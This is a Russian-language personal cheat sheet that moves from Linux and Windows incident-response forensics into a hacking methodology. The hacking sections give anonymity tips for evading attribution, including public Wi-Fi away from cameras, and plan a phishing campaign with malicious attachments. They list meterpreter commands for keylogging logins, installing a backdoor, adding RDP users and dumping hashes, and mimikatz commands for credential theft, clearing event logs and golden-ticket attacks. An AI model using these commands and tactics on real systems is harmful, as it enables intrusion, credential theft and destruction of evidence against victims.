8 0 sda 22531 10352 831767 190793 4858 32486 298844 392022 0 63941 584743
Эти данные помогут вам при устранении проблем производительности при создании
образа, что, будем надеяться, вам никогда не придется делать.

#driver/rtc
Этот файл предоставляет данные часов реального времени (rtc), микросхемы,
отслеживающей время в то время, когда компьютер выключен (и, конечно, во время
работы системы):
rtc_time : 20:30:22
rtc_date : 2008-04-02
rtc_epoch : 1900
alarm : 00:00:00
DST_enable : no
BCD : yes
24hr : yes
square_wave no
alarm_IRQ : no
update_IRQ : no
periodic_IRQ : no
periodic_freq : 1024
batt_status : okay

#filesystems
В этом файле перечислены файловые системы, которые в данный момент (тем или
иным способом) поддерживаются ядром. Поддержка дополнительных файловых систем
может быть доступна в виде модулей, которые сейчас не установлены в работающее ядро.
Кроме того, присутствие файловой системы в этом списке не означает, что доступен
доступ для чтения-записи.
Перед названием псевдо- или виртуальными файловыми системами находится слово
«NODEV», означающее, что им не нужны физические устройства (например, procfs).
```

```
nodev sysfs
nodev rootfs
nodev bdev
nodev proc
nodev cpuset
nodev binfmt_misc
nodev debugfs
nodev securityfs
nodev sockfs
nodev usbfs
nodev pipefs
nodev anon_inodefs
nodev futexfs
nodev tmpfs
nodev inotifyfs
nodev devpts
nodev ramfs
nodev hugetlbfs
iso9660
nodev mqueue
ext3
nodev vmhgfs
nodev rpc_pipefs
nodev vmblock
nodev autofs

#kallsyms (ksyms)
Это файл в ядре 2.6 является заменой файла «ksysms» и предоставляет перечень
символов, присутствующих в ядре. Файл «ksyms» в ядре 2.4 предоставлял только список
экспортированных символов. Эта информация может быть полезной, чтобы определить
факт использования руткита на исследуемом компьютере, так как некоторые из них
оставляют здесь свои следы. Например, руткиты Adore или на основе Adore, а также
руткит Heroin можно обнаружить посредством файла «kallsyms». Однако следует
отметить, что отсутствие следов в данном файле не обязательно означает, что система не
заражена руткитом, просто, возможно, в ней используется лучший руткит.


#kcore
«kcore» - представление физической памяти компьютера в файловом формате,
удобном для поиска и устранения ошибок с помощью отладчика проекта GNU (gdb). Эти
данные чрезвычайно важны при расследовании вторжений. Их можно проанализировать
простым способом, создав дамп строк (cat /proc/kcore | strings), или улучшенными
методами для обнаружения усовершенствованных руткитовДля сбора этих данных понадобится внешний накопитель, объем
которого чуть
больше размера системной памяти. Не нужно выводить содержимое этих данных на
экран, их нужно отправить в файл для дальнейшего анализа.
cat /proc/kcore > /mnt/mystorage/kcore

#modules
Как видно из названия, этот файл содержит перечень всех модулей, загруженных в
ядро. Рекомендуется собрать эту информацию при проведении любого расследования.
Она может быть очень полезной, если вы имеете дело с руткитами, вносящими
исправления в файлы или замещающими их. Например, руткит может изменить двоичный
файл «lsmod», чтобы о нем не сообщалось как о загруженном модуле, однако команда «cat
/proc/modules» покажет его присутствие.

#mounts
Этот файл содержит список всех монтированных в данный момент файловых систем.
Эти данные полезны по нескольким причинам, главным образом для того, чтобы
определить любой внешний накопитель, который вы, возможно, используете для сбора
данных, любую сетевую файловую систему или другие монтированные сетевые
накопители, и чтобы проверить, что монтирование файловой системы только для чтения
(или чтения-записи) выполнено соответствующим образом.
rootfs / rootfs rw 0 0
/dev/root / ext3 rw,relatime,data=ordered 0 0
/dev /dev tmpfs rw,relatime 0 0
/proc /proc proc rw,relatime 0 0
/sys /sys sysfs rw,relatime 0 0
/proc/bus/usb /proc/bus/usb usbfs rw,relatime 0 0
devpts /dev/pts devpts rw,relatime 0 0
/dev/sda1 /boot ext3 rw,relatime,data=ordered 0 0
tmpfs /dev/shm tmpfs rw,relatime 0 0
none /proc/sys/fs/binfmt_misc binfmt_misc rw,relatime 0 0
sunrpc /var/lib/nfs/rpc_pipefs rpc_pipefs rw,relatime 0 0
none /proc/fs/vmblock/mountPoint vmblock rw,relatime 0 0
/etc/auto.misc /misc autofs rw,relatime,fd=6,pgrp=1998,
timeout=300,minproto=5,maxproto=5,indirect 0 0
-hosts /net autofs rw,relatime,fd=11,pgrp=1998,
timeout=300,minproto=5,maxproto=5,indirect 0 0
.host:/ /mnt/hgfs vmhgfs rw,relatime 0 0

#partitions
Этот файл содержит ограниченное количество информации об имеющихся разделах и
количестве блоков, которые им выделены. Эта информация доступна в других местах в
ядре 2.6 (см. SysFS), но лучше иметь дублированные данные, чем испытывать в них
недостаток. Кроме того в ядре 2.4 этот файл содержит данные, которые в ядре 2.6
хранятся в файле /proc/diskstats.
major minor #blocks name
8 0 8388608 sda
8 1 200781 sda1
8 2 8185117 sda2
253 0 7602176 dm-0
253 1 524288 dm-1
sys/

Каталог /proc/sys содержит ряд файлов, управляющих свойствами ядра. В эти файлы
можно выполнять запись, изменяя поведение системы в процессе ее работы. Никогда не
изменяйте данные в файле в /proc, если вы полностью не уверены в том, что делаете (или
работаете на испытательном компьютере, который не боитесь испортить). Маловероятно,
```

то вам придется копаться в этой области /proc во время расследования инцидента.

#uptime
Этот файл содержит два значения: сколько времени система работает и сколько времени она простаивает. Последнее значение нас не интересует, а первое необходимо по одной очень важной причине. Если вам сообщили, что инцидент произошел 3 дня назад, а система показывает время работы 97 000 секунд (27 часов), то вы понимаете, что компьютер, по меньшей мере, был перезагружен, о чем очень важно знать во время проведения расследования.

#version
Это файл предоставляет более подробную информацию о ядре (которую можно получить с помощью стандартной команды «uname –a»), включая версию набора gcc, использованного для компиляции ядра.

[Анализ файлов]

```
/etc/passwd
/etc/shadow
/etc/cron*
/var/spool/cron
last -f /var/log/wtmp
/var/log/syslog
find / -perm -4000 -type f -xdev -print > suid.txt  (linenum.sh)
find / -perm -2000 -type f -xdev -print > sgid.txt  (linenum.sh)
find / -mtime 5 -xdev > modified.txt
find / -atime 5 -xdev > accessed.txt
find / -ctime 5 -xdev > created.txt
```

Win

Техника реагирования:

Приходим на место
Блокируем запись на НЖМД
Подключаем свой жесткий диск с FTK Imager
Создаем образ жесткого диска в формате (dd-raw)
Считаем контрольную сумму образа
Сохраняем себе на жесткий диск

Создаем образ RAM с помощью FTK Imager
Считаем контрольную сумму образа
Сохраняем себе на жесткий диск

[Начальная оценка]

Вопросы задаваемые клиенту (после беседы):

#Временная шкала
По возможности необходимо попытаться связать инцидент с определенным промежутком времени. В зависимости от характера инцидента промежуток не всегда возможно установить, но это следует попытаться сделать в той мере, в которой позволяет ситуация. В некоторых делах вам удастся сузить промежуток времени до определенного дня или даже нескольких часов, тогда как в других – этот период может охватывать несколько лет. Каким бы ни было дело, постарайтесь как можно точнее установить период инцидента. Ошибка на этом этапе может серьезно повлиять на остальную часть расследования.

#Топология сети
Установите схему расположения и соединения сетевых устройств.
Я еще никогда не был в ситуации, когда у клиентов отсутствовала хотя бы общая схема компьютерной сети, поэтому не забудьте попросить ее у них.

#Поток данных
Получив схему сети, убедитесь, что вы понимаете поток данных.
Где находятся точки входа и выхода? Какие еще компьютеры находятся в той же подсети? Если вы имеете дело с доменом Windows, имеются ли междоменные доверия, позволяющие получить доступ к другим доменам? Необходимо понимать не только, какие компьютеры вовлечены в инцидент, но также и какие компьютеры могли бы быть вовлечены в инцидент. Многие клиенты определяют область инцидента только со слов сотрудников ИТ-отдела и не видят всей картины. Ваша задача – включить в область расследования все компьютеры, которые потенциально могли быть вовлечены в инцидент. Вы сможете определить, были ли они вовлечены, позднее, во время анализа журналов.

#Устройства безопасности
Узнайте какие устройства имеются в сети клиента и ведется ли на них протоколирование. Легко говорить о рекомендациях по безопасности, но реализовать их на практике удается не всегда. Многие клиенты знают, что нужно вести журналы регистрации событий, но не делают этого. Они хотели установить систему обнаружения вторжений или систему предотвращения вторжений в сеть, но на это не было средств. Вам необходимо выяснить, какие устройства безопасности имеются у клиента, где они установлены в сети и какие действии они регистрируют. Попросите клиента предоставить вам имеющиеся журналы регистрации событий.

#Состояние компьютеров, вовлеченных в инцидент
Это еще один из тех вопросов, в которых клиент может плохо разбираться. Я расследовал несколько дел, в которых мне говорили одно, например, что перезагрузка определенного компьютера не выполнялась, а, прибыв на место инцидента, я узнавал, что все совсем не так. Поэтому, даже если вы задавали вопросы перед прибытием на объект клиента, вам нужно будет задать их снова и по возможности проверить правильность ответов. Эта информация может повлиять на направление расследования.

#Обычный ход деятельности
Насколько это возможно, необходимо понять, что является «обычным» для клиента. Расследуя инцидент, вы, скорее всего, впервые будете иметь дело с инфраструктурой клиента. Вы не будете иметь представления о том, какое используется правило формирования идентификаторов пользователей, какой объем информации передается по сети в среднем за день, какие компьютеры обычно обмениваются данными друг с другом, и еще буквально о сотне потенциальных переменных, составляющих обычный рабочий день. Чтобы провести любой тип предварительного анализа, вам нужно насколько это возможно разобраться в этих вопросах.

#Какие данные нужно собрать первично:

[Энергозависимые данные]

1 системное время;
2 пользователи, вошедшие в систему;
3 открытые файлы;
4 сетевая информация;
5 сетевые соединения;
6 информация о процессах;
7 сопоставление процесса с портом;
8 память процесса;
9 состояние сети;
10 содержимое буфера обмена;
11 информация о службах и драйверах;
12 история командной строки;
13 подключенные сетевые накопители;
14 общие ресурсы.

[1. Системное время]

data /t & time /t

Эксперту важно знать не только текущее системное время; количество времени, в
течение которого работает система, может также предоставить большое количество
контекста для расследования. Например, сравнив количество времени, в течение которого
работает система, с количеством времени, в течение которого выполняется процесс,
можно получить представление о том, когда попытка применения эксплойта или попытка
взлома, возможно, завершилась успешно (подробнее о получении данных о процессах вы
узнаете позднее в этой главе).
Кроме того, при записи системного времени эксперт должен указать реальное
время. Оба эти значения позволят эксперту позднее определить, было ли системное время
правильным. Информация о так называемой разнице в показаниях часов (clock skew)
позволяет получить более точное представление о фактическом времени, когда
совершались события, зарегистрированные в файлах журналов. Эта информация может
быть бесценна, когда вы пытаетесь объединить отметки времени из нескольких
источников.
Еще один важный элемент связанной со временем информации – это параметры
часового пояса, установленные на компьютере. Операционные системы Windows,
использующие файловую систему NTFS, сохраняют отметки времени файлов в формате
всемирного координированного времени (Universal Coordinated Time, UTC), который
аналогичен формату GMT. Операционные системы, использующие файловую систему
FAT, сохраняют отметки времени файлов на основе локального системного времени. Не
менее важно учитывать эту информацию во время анализа образа данных (эта тема будет
рассмотрена позднее в этой книге), но она также может иметь существенное значение при
исследовании работающей системы удаленно, особенно если вы находитесь на расстоянии
нескольких часовых поясов от исследуемой системы.

[2. Пользователи вошедшие в систему]

#psloggedon.exe
Этот инструмент показывает эксперту имя пользователя,
вошедшего в систему локально (через клавиатуру), а также пользователей, выполнивших
вход в систему удаленно (например, через подключенный сетевой ресурс).

#net sessions
Net sessions – это собственная команда ОС Windows (посредством исполняемого
файла «net.exe»), которую можно применять, чтобы увидеть не только имя пользователя,
используемое для получения доступа к системе через удаленный сеанс входа, но и IPадрес и тип клиента, из которого
получен доступ к системе.

#logonsessions.exe
это инструмент командной
строки, перечисляющий все активные сеансы входа в системе.

#netusers.exe
Используя в «netusers.exe» переключатели –local и –history, можно
получить краткий отчет о том, когда все локальные пользователи последний раз входили в
систему

[3. Открытые файлы]

«psfile.exe» покажут вам файлы, открытые в системе
через удаленное соединение

[4. Сетевая информация]

#netview - команда позволяет узнать имена компьютеров в сети, связанных с данным по netbios
и которые возможно тоже подверглись компрометации

[5. Сетевые соединения]

#netstat -ano - Самый распространенный способ запуска netstat – использовать переключатели –
ano, которые указывают программе отображать сетевые TCP- и UDP-соединения,
прослушивающие порты и идентификаторы процессов (PID), использующие эти сетевые
соединения

#netstat -r   - вывод таблицы маршрутизации

[6. Информация о процессах]

#tasklist   - вывод идентификатор, имя и номер сеанса для процесса, статус процесса, имя
пользователя контекста, в котором выполняется процесс, и заголовок окна, если процесс
имеет графический интерфейс. Эксперт может также использовать переключатель /svc,
чтобы получить информацию о службах для каждого процесса

#pslist.exe   показывает основную информацию о выполняющихся
процессах в системе, в том числе количество времени, в течение которого выполняется
каждый процесс (как в режиме пользователя, так и в режиме ядра). Переключатель –x
отображает подробности о потоках и памяти, используемой каждым процессом.
«Pslist.exe», запущенный с переключателем –t, покажет дерево задач.

#listdlls.exe покажет полный путь
к образу загруженного модуля, а также то, отличается ли версия DLL-файла,
загруженного в память, от образа файла, присутствующего на диске.
Используя «listdlls.exe» (с переключателем –d dllname), можно перечислить
процессы, загрузившие отдельный DLL-файл, примерно таким же образом, как в
инструменте «tlist.exe». Эта функция может быть чрезвычайно полезна в ситуациях, когда
эксперт обнаруживает отдельный DLL-файл и хочет узнать, загружали ли его какиенибудь другие процессы.

#handle.exe   -- показывает различные дескрипторы, открытые процессом в
системе. Сюда входят не только открытые дескрипторы файлов (для файлов и каталогов),
но и порты, разделы реестра и потоки. Эта информация может быть полезна для того,
чтобы определить, к каким ресурсам получает доступ процесс во время своей работы.

Для «handle.exe» есть несколько полезных переключателей, таких как -a,
чтобы показать все дескрипторы, и -u, чтобы показать имя пользователя-владельца для
каждого дескриптора.

[7. Сопоставление процесса с портом]

[8. Память процесса]

[9. Состояние сети]

#ipconfig /all

[10. Буфер обмена]

ctrl+V

[11. Информация о службах и драйверах]

[12. История командной строки]

#doskey /history выведет историю команд, введенных в эту командную строку

[13. Подключенные сетевые накопители]

[Энергонезависимые данные]

[Автозапуск]
#autoruns.exe - в графике показывает все автораны
#autorunsc.exe - показывает в консоли все автораны

[Журналы регистрации событий]

psloglist.exe
dumpevt.exe -- снять дампы

Hack like a PORN STAR (GOD)

[Каждый раз начинай с нуля]

[1. Анонимность]

1. Используй Wi-Fi в забегаловках чтобы не допустить утечки реального IP (временные телефонные номера)
2. Всегда используй TOR / платный VPN (Whonix / Tails)
3. Используй VPS - виртуальный частный сервер

Ты готов, если:

У тебя есть отличный спот для анонимного получения бесплатного интернета (не под камерами, в людном месте), настроенная сеть TOR / VPN, виртуальный частный сервер, который будет работать в качестве передовой пушки

[2. Фишинг]

Для фишинговой кампании нам нужны несколько ключевых элементов:

1. Список сотрудников и их адреса электронной почты
2. Отличная идея по содержимому электронного письма
3. Платформа для отправки электронных писем
4. Вредоносный файл, который даст нам доступ к машине пользователя

1. Просмотрим публичный сайт комапании, для получения базовой информации об их бизнесе, типовый адреса, телефоны и т.д.
Важны адреса электронной почты: 1. имя домена, которое используют их сервисы электронной почты 2. формат почтового адреса: напрмер: "имя.фамилия@company.com", или "первая_буква_фамилия.имя@company.com"
Можно отправить письмо (анонимно, protonmail.com) на найденные адреса электронной почты, для того чтобы получить графическую схему электронного письма: дефолтный шрифт, набор цветов компании, форма подписи и т.д.

2. Ищем людей из этой компании, например на странице Facebook, Twitter, LinkedIn этой компании (утилита The Harvester)
3. Содержимое электронного письма (содержащее вредонос) должно быть интригующим, например:

* последние отчеты, демонстрирующе резкое снижение продаж
* срочный счет, который нужно оптлатить незамедлительно
* результаты исследований по акционерам
* резюме нового менеджера для интервью

В интернете доступно большое количество открытых SMTP-серверов для отправки электронного письма, но можно настроить свой собственный сервер эл. почты, который свяжется с доменом сайта компании и отправит фишинговое сообщение.
(Gophish)

Техника общая

[Основные этапы]

Для полноты тестирования необходимо стараться следовать нижеприведенным рекомендациям кастомизирую те или иные этапы.

[1. Сбор информации из открытых источников]

```
archive.org      # содержит архивы сайтов
domaintools.com # сведения о доменных именах
robotex.com      # сведения о DNS, почтовых серверах, IP и т.д.
pipl.com         # искать людей по имени, фамилии, штату, стране

# Задача: узнать все хосты и IP-адреса, доступные для домена (сайта), например hackthissite.com

host -a hackthissite.com

SOA      # начало записи полномочий
NS       # запись имени сервера
A        # запись адреса IPv4
MX       # запись обмена почтой
PTR      # запись указателей
AAAA     # запись адреса IPv4
CNAME    # аббревиатура канонического имени

dmitry  # инструмент для сбора информации

- записи протокола whois
- сведения о хосте
- данные о поддоменах в целевом домене
- адреса электронной почты в целевом домене

Maltego                  #утилита для добычи, сбора, систематизации информации

simplyemail.py           #скрипт для сбора электронной почты (github)

https://www.exploit-db.com/google-hacking-database # позволяет использовать гугл дорки для поиска информации

metagoofil               # утилита на kali, позволяющая найти различные тектовые файлы относящиеся к целевому домену, с последующим скачиванием для анализаб поддерживаем различные форматы (pdf, doc, docx, pptx и т.д.) (apt-get install metagoofil)

Devploit & RedHawk v2    # проекты на github, которые представляют из себя утилиты для автоматизированного сбора информации

Shodan                   # это поисковая система, которая позволяет пользователю находить компьютеры определенного типа, подключенные к Интернету, используя различные фильтры
```

[2. Разведка (сканирование)]

```
-nmap -A <IP> -p 21,22,25,43,53,80
-masscan -e tun0 -p1-65535,U:1-65535 <IP> --rate=500
-https://github.com/21y4d/nmapAutomator/blob/master/nmapAutomator.sh   - скрипт для nmap
nmap -sC     # подключаем дефолтные NSE при сканировании
nmap -script http-enum,http-headers,http-methods,http-phpversion -p 80 <IP>  # собираем информацию об http сервере
https://github.com/lawn58/vulscan   # сканирует и сопостовляет версии ПО с базами данных уязвимостей CVE (удобно)
https://nmap.org/book/man-bypass-firewalls-ids.html  # техники обхода IDS (МЭ)
```

[3. Сканирование уязвимостей]

```
Nessus
OpenVAS
Lynis # локальный аудит системы
SPARTA
```

[4. Социальная инженерия]

```
Теоретические способы описаны в книге Парасрама (Kali Linux)

setoolkit # набор инструментов для социальной инженерии

1. Анонимная USB-атака (генерация и запись вредоносного исполняемого файда (реверс-шел))
2. Фишинг сайтов (копирование сайта на свой сервер, для похищения учетных данных пользователя на оригинальном сайте (идет перенаправление на оригинальный сайт))
3. Вредоносный Java-апплет
```

[5. Целевая эксплуатация]

```
# Metasploit

show encoders  # вывод списка энкодеров
show advanced  # вывод особенных настроек эксплоита
jobs           # список всех загруженных фоновых модулей

# meterpreter

migrate 684    # сразу смотрим на список процессов и пытаемся внедриться в системный процесс (lsass.exe)
getsystem      # пытаемся завладеть системными правами

route add 10.2.4.0 255.255.255.0 1  # делаем маршрут для машины тестера через взломанную машину, последний параметр - id сессии meterpreter]
```

```
sessions -l       # вывод сессий meterpreter,  -i - для взаимодействий с конкретной сессией ,  -k  -  для завершения конкретной сессии

hashdump       # вывод хешей пользователей в системе


# Кейлоггинг событий

migrate explorer.exe  # чтобы снимать все нажатия клавиш клавиатуры
migrate winlogon.exe  # чтобы получать пароли пользователей при их заходе в систему
keyscan_start
keyscan_dump
keyscan_stop


# Устанавливаем бэкдор в системе

migrate explorer.exe
run metsvc

use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set lport <PORT> # здесь указываем порт который был в выводе "run metsvc"
set rhost <IP>
exploit

# Включаем удаленный рабочий стол

run getgui -u user123 -p user123 # создаем пользователя и включаем у него RDP
rdesktop <IP>:<PORT>

run getgui -e                    # если есть пользователь с уже известным паролем, то подключаемся к нему
rdesktop <IP>:<PORT>
```

[6. Повышение привилегий и поддержание доступа]

[Mimikatz]

После получения оболочки meterpreter с правами SYSTEM, можно использовать mimikatz для получение данных об учетных записях в системе:

```
load mimikatz  # загружаем mimikatz

mimikatz_command  -f samdump::hashes   # вывод списка всех пользователей с их хешами паролей
msv                                    # так же выводит пользователей с хешами

# возможно придется мигрировать в процесс lsass.exe
mimikatz_command -f sekurlsa::searchPasswords # позволяет найти открытые пароли в системе (тех пользователей которые уже зашли в систему)
kerberos                                      # так же позволяет найти открытые пароли в системе (билеты кербероса)

mimikatz_command -f securlsa::                 # вывод списка всех модулей mimikatz
mimikatz_command -f crypto::                   # просмотр подробностей об отдельном модуле


#module ~ crypto - достаточно старый модуль, позволяет ресерчить CryptoApi
1) crypto:: providers                          #вывести список всех криптопровайдеров
2) crypto::stores                              #вывести все логические хранилища сертификатов в системном окружении
3) crypto::certificates                        #перечисляет сертификаты и ключи, так же может их экспортировать
4) crypto::keys                                #перечисляет установленные ключи
5) crypto::hash                                #функция говорит сама за себя. Получаем хешики пользователя
6) crypto::capi                                #делает неэкспортируемые ключи - экспортируемыми

#module ~ privilege - модуль для получения определенных прав и повышение привилегий
1) privilege::debug - если у вас не работают некоторые модули выполните эту опцию. Позволяет внедряться в чужие процессы и производить их отладки.
2) privilege::driver - Получить привилегии на загрузку драйверов.
3) privilege::security - Получить привилегии на изменение политики безопасности.
4) privilege::backup - Получаем права на архивирование файлов
5) privilege::restore - Получаем права на восстановление бэкапов
6) privilege::sysenv - Получаем права на управление переменными окружения

module ~ sekurlsa - модуль для хищения паролей, важное условие, модуль работает только от админа и перед ним получить права на debug.
1) sekurlsa::logonpasswords - получить хеши залогиненных пользователей
2) sekurlsa::wdigest - получить хеши залогиненных пользователей (в открытом виде из wdigest)
3) sekurlsa::msv - тоже самое + CredentionalKeys
4) sekurlsa::tspkg - сервис для управления фрагментацией реестра, в том числе через него можно получить креды.
5) sekurlsa::livessp - ещё одна служба, которая позволяет получать креды в открытом виде.
6) sekurlsa:: process - переключиться в LSASS, чтобы снифать пассы.
7) sekurlsa:: pth - - запустить процесс от имени конкретного пользователя, используя его хэш а не пароль, по дефолту cmd.
8) sekurlsa::tickets - получить все билеты Цербера
9) sekurlsa::krbtgt - получить все TGT билеты в текущей сессии
10) sekurlsa::dpapisystem - Получить системный расшифрованный ключ

#module ~ dpapi - модуль для работы с криптопротоколом DPAPI, идея в том что текст может быть расшифрован только на машине на котором он был зашифрован на основе BLOB объекта и мастер ключа.
1) dpapi::blob - непосредственно BLOB объект позволяет шифровать и дешифровать с помощью алгоритма DPAPI
2) dpapi::chrome - расшифровать пароли GOOGLE CHROME

#module ~ event - модуль для очистки журнала событий
1) event::drop - остановить сервис легирования
2) event::clear - просто очистить логи


#module ~ kerberos - модуль для работы с Цербером, а вот тут мы поговорим по подробнее……
```

Протокол Kerberos – я бы сказал это фундаментальный протокол безопасной аутентификации, который централизовано хранит в себе сессионные данные. Протокол сей является фундаментом для многих Single-Sign-On (Один раз войди во все приложения сразу).

Ticket'ы (билеты) – в основе Цербера лежит понятие билетов. Существует некий центр распределения ключей, который был назван KDC(Key Distribution Center)

Когда некто логинится, то при успешном вводе пароля он получает некоторый первичный билет TGT (Ticket Granting Ticket), билет - это зашифрованный пакет данных. Этот билет как вход на крутую хакерскую тусовку, где куча интерактивов и прочего, но когда мы подходим к конкретному стенду, на основании одного только TGT, мы не можем пройти и поэтому мы запрашиваем ещё один билет TGS – и только тогда проходим. Можно придумать аналог с хекерским форумом, для доступа на который мы вводим логин и пароль и попадаем на публичный форум, а вот, чтобы попасть в приватные группы, надо обладать еще какими - то привилегиями.

А что же такое Golden Ticket(Золотой билет)?! Судя по названию это некий универсальный билет, ключ от всех замков. Но на самом деле это билет для предоставления билетов, похитив его, мы получаем власть над всеми билетами.

1) kerberos:: ptt Pass-The-Ticket Внедрить один или несколько билетов TGT или TGS в текущую сессию
2) kerberos::list Список всех билетов в текущей сессии
3) kerberos::tgt – Все TTT билеты в стекущей сессииПрофит
4) kerberos: purge – удалить все билеты с текущей сессии
5) kerberos::golden – Реализация атаки с помощью golden ticket где /user – имя админа /sid SSID домена (можно узнать как whoami /user и без последней части цифр будет sid домена последние 3-4 цифры это номер юзера в домене)
5) kerberos::hash – получить хэшик текущего пользователя залогиненого через Цербера

[7. Тестирование веб-приложений]

nikto

owasp-zap

burpsuite

w3af-console

#automatic

web scarab
Acunetix

[8.]

Техника WEB (OWASP)

[Пункты OWASP]

[1. Поиск утечек информации с помощью поисковых систем]

Что можно найти используя поиск в поисковых системах:

* схемы сети организации и конфигурационные файлы
* различные сообщения администраторов или руководящего состава
* логи
* имена пользователей и пароли
* текст сообщений об ошибках
* тестовые или устаревшие версии вебприложения

С помощью поискового оператора "site:" можно ограничить результаты поиска определенным доменом

Рекомендуется использовать несколько поисковых систем:

```
https://www.baidu.com/
http://binsearch.info/
https://www.bing.com/
https://duckduckgo.com/
https://www.startpage.com/
google.com        # "cache:" для поиска сохраненных версий
shodan.io

#google hacking database  (GHDB)
```

[2. Поиск утечек информации в метафайлах веб-сервера, а так же в комментариях исходного кода веб-страниц и метаданных веб-страниц]

При просмотре исходного кода сайта можно обнаружить много интересной информации, вплоть до имени пользователя и пароля, SQL-код, внутренних IP-адресов и отладочную информацию

Некоторые мета теги предоставляют различную информацию, например аттрибут http-equiv можно протестировать на наличие некоторых инъекционных атак, например CRLF

[3. Определение всех приложений на сервере]

На одном физическом сервере может находиться множество сайтов и приложений. Любое из них может быть уязвимым и пустить вас на уязвимый сервер. Используй "2ip.ru", брут DNS, nmap, поисковые системы.

```
# Задача : определить все веб-приложения размещенные на сайте:
три варианта:

1) различные базовые URL
* можно использовать "site:"
* можно брутить (dirb)

2) нестандартные порты
* nmap

3) виртуальные хосты (разные доменные имена)
```

[4. Определение точек входа]

Исследовать сайт используя при этом Burp Suite, для исследования отправляемых и получаемых запросов:

```
#запросы:
* определить где используется GET, и где POST запросы
* определить все параметры используемые в теле POST
* для POST запросов уделить особое внимание различнвм скрытым полям веб-форм
* определить все параметры в GET запросе
* также при наличии нескольких параметров в запросе, необходимо отметить, все ли передаваемые параметры необходимы для корректного выполнения запроса. Необходимо точно определить все параметры запроса, даже если они закодированы и зашифрованы определить какие конкретно параметры обрабатываются приложением
* так же стоит обратить внимание на присутствие всяческих нетипичных дополнительных заголовков ( например debug=false)

#ответы:
*определить где и когда добавляются или модифицируются значения куков (заголовок Set-Cookie)
* определить есть ли редиректы (3**) , есть ли 400 статус коды, в частности 403 Forbidden, и есть ли 500 статус код internal server error
* обратить внимание на различные интересные и нетипичные заголовки, например, "Server: BIG-IP" говорит о наличии балансировщика нагрузки. Таким образом, если олин из серверов балансировщика настроен некорректно, тестировщик можеть сделать несколько запросов, чтобы получить доступ к уязвимому серверу
```

[5. Определение веб-сервера, фреймворка веб-приложения и самого веб-приложения]

```
#1. Определение веб-сервера

* nc <IP>  ( заголовок server)
* так же можно отправить ошибочный запрос ( версия HTTP, несуществующие страницы, HTTP-методы) чтобы изучить реакцию сервера/ошибки
* httprint #инструмент для идентификации веб-сервера

#2. Определение фреймворка веб-приложения

Где могут находиться маркеры, сигнализирующие о конкретном фреймворке:
* HTTP-заголовки
* куки
* исходный код страниц
* определенные файлы и каталоги
```

#1) HTTP-заголовки

* nc <IP> (заголовок X-Powered-By)
* x-generator (заголовок)

#2) Куки

* в названии куки может содержаться название фреймворка (например Cakephp_cookie)

#3) Исходный код страницы

* %framework_name%
* powered by
* build upon
* running

Специальные маркеры:

```
Adobe <!—START headerTags.cfm
ColdFusion      __VIEWSTATE
Microsoft ASP.NET           ZK            <!— ZK
Business Catalyst           <!— BC_OBNW —>
Indexhibit    ndxz-studio
```

Утилиты для определения фреймворков:

* WhatWeb
* BlindElephant (https://community.qualys.com/community/blindelephant)

#3. Определение веб-приложения

* куки (например Cookie: wp-settings-time-1=1406093286) WordPress
* Исходный код страниц (например: <meta name="generator" content="WordPress 3.9.2" />)
* Специфичные фацлы и каталоги (Для каждого приложения характерные свои каталоги, в которых хранятся файлы, например css-стили)

[6. Тестирование конфигурации инфраструктуры и конфигурации приложения]

На данном этапе нужно собрать как можно больше информации о том, какой софт используется для работы целевого сайта и как он сконфигурирован. МЭ, СУБД, почтовые службы, прокси-сервер и т.д. Все компоненты нужно по возможности определить. Определив версии ПО вы сможете поискать для них жксплоиты и известные уязвимости в открытом доступе.

[7. Исследование расширений файлов]

*Определите, какие расширения используются в приложении - html, php, py, asp, jsp и т.д., так можно определить какие технологии используются в инфраструктуре. Кроме того проверьте, какие типы файлов и с какими расширениями можно загрузить на сервер.

*Часто необходимо определить расширения файлов, которые можно загружать на сервер, благодаря чему можно получить неожиданный результат, так как файл, с определенным расширением, может не обрабатываться операционной системой веб-сервера.

*При проведении тестирования крайне важно определить как веб-сервер обрабатывает различные файлы, например, какие файлы возвращаются в виде текста, а какие выполняются на стороне сервера. Нужно также учитывать тот момент, что разработчики могут пытаться запутать атакующего, используя ложные расширения файлов.

[8. Обнаружение старых версий сайта, резервных копий, нежелательных файлов]

* исходный код
* robots.txt
* брутфорс по словарю с определныыми расширениями файлов, использующихся в проекте
* site:

[9. Обнаружение административных интерфейсов и тестирование надежности паролей в найденых интерфейсах]

Административный интерфейс может быть просто скрыт от пользователей и его можно обнаружить простым брутфорсом, в некоторых случаях административный интерфейсы можно обнаружить с помощью Google дорков. Для брутфорса существует большое количество инструментов, некоторые из них приведены в данной статье.

Упоминания о административных интерфейсах можно встретить в исходном коде или комментариях.

Расположение административных интерфейсов по умолчанию во многих веб-приложениях можно узнать из их документации (например, WordPress).

Административные интерфейсы в некоторых случаях расположены на портах отличных от 80 и 443. Например, административный интерфейс Apache Tomcat часто можно найти на порту 8080.

Иногда доступ к административным интерфейсам обеспечивается GET, POST параметрами или куки, о подобном функционале могут свидетельствовать скрытые поля в формах:
<input type="hidden" name="admin" value="no">

Или куки:
Cookie: session_cookie; useradmin=0

[10. Тестирование HTTP-методов]

* HEAD
* GET
* POST
* PUT
* DELETE
* OPTIONS
* DELETE
* TRACE

* CONNECT

CONNECT - этот метод может позволить пользователям использовать веб-север как прокси-сервер

TRACE   - этот метод возвращает в ответ клиенту строку, которая была послана им на сервер. в основном этот метод используется для отладки. Но так же этот метод может быть использован для проведения атаки Cross Site Scripting (XST)

Определяем методы, которые разрешены на сервере:
```
nc www.victim.com 80
OPTIONS / HTTP / 1.1
Host: www.victim.com
```

[!!!!]

[11. Тестирование HSTS]

HSTS - механизм, активирующий защищенное соединение через протокол HTTPS

Заголовок HSTS использует две директивы:

1) max-age   # указывает время за которое браузер должен автоматически преобразовать все запросы из HTTP в HTTPS, время указывается в секундах
2) includeSubDomains # указывает, что все поддомены веб-приложения должны использовать HTTPS

Если используется заголовок HSTS, то нужно убедиться, могут ли быть произведены следующие атаки:

1) прослушивание всего трафика в сети и получение доступа к данным передаваемых через незашифрованные каналы
2) может быть проведен MiTM так как принимаются недостоверные сертификаты
3) пользователь случайно вводит адрес в браузере используя HTTP, или же кликает на ссылку использующую HTTP

Как тестировать:

Проверить наличие заголовка HSTS можно с помощью перехватывающего прокси или curl, следующим образом:

```
curl -s -D- https://domain.com/ | grep Strict
```

Ожидаемый результат:

```
Strict-Transport-Security: max-age=...
```

[12. Тестирование кросс-доменных политик]

